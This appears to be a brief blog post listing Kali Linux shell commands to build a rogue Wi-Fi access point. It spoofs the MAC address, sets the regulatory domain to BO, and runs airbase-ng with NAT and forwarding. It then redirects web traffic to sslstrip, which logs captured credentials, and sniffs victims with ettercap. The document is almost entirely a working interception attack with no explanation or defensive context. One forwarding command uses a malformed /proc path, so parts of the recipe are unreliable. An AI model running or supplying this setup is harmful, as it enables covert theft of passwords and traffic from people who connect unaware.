[ Kali Linux ] Rogue AP

/etc/init.d/network-manager stop
killall wpa_supplicant dhclient
ifconfig wlan0 down
macchanger -r wlan0
iw reg set BO
airmon-ng start wlan0
airbase-ng -e "WLAN_0SEC" -v mon0


iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo "1" > /proc/sys/net/ipv4/ipv4/ip_forward
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

apt-get install isc-dhcp-server
cat dhcpd.conf
dhcpd -cf /root/wifi/dhcpd.conf -f -d

apt-get install dnsmasq
dnsmasq -k

sslstrip -a -w /root/wifi/log.txt
ettercap -p -u -T -q -i at0

No hay comentarios:

Publicar un comentario